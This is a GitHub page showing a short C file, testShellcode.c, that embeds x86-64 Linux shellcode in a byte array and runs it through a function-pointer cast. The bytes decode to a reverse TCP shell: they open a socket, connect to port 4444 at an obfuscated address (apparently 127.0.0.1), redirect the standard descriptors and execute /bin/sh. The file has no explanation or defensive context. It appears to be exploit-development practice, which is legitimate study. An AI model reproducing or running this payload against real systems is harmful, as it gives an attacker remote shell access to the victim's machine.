-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtestShellcode.c
More file actions
9 lines (8 loc) · 916 Bytes
/
testShellcode.c
File metadata and controls
9 lines (8 loc) · 916 Bytes
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <string.h>
int main(){
char code[] = "\x48\x31\xC0\x48\x29\xDB\x48\x29\xC9\x48\x29\xD2\x48\x31\xF6\x48\x29\xFF\x55\x54\x5D\x48\x29\xD2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x83\xEC\x04\x48\x83\xEC\x01\x48\x83\xEC\x02\x48\x83\xEC\x01\xc7\x04\x24\x02\x09\x11\x5c\x81\x24\x24\xff\xf0\xff\xff\x50\xc7\x44\x24\x04\x80\x01\x01\x02\x48\x8b\x44\x24\x04\xfe\xc8\xfe\xcc\xfe\x4c\x24\x06\xfe\x4c\x24\x07\x58\x48\x8d\x34\x24\x48\x83\xC4\x03\x48\x83\xC4\x02\x48\x83\xC4\x01\x48\x83\xC4\x02\x48\x89\xC3\x58\x48\x89\xD8\x48\x29\xDB\xB2\x10\x6a\x03\x5f\xb0\x2a\x0f\x05\x48\x29\xF6\xB0\x41\x2C\x20\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x53\x48\x31\xDB\x48\x89\xD8\x5B\x48\x29\xF6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x56\x57\x48\x89\xe7\x48\x31\xD2\xB0\x1E\x04\x1D\x0f\x05";
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
return ret();
}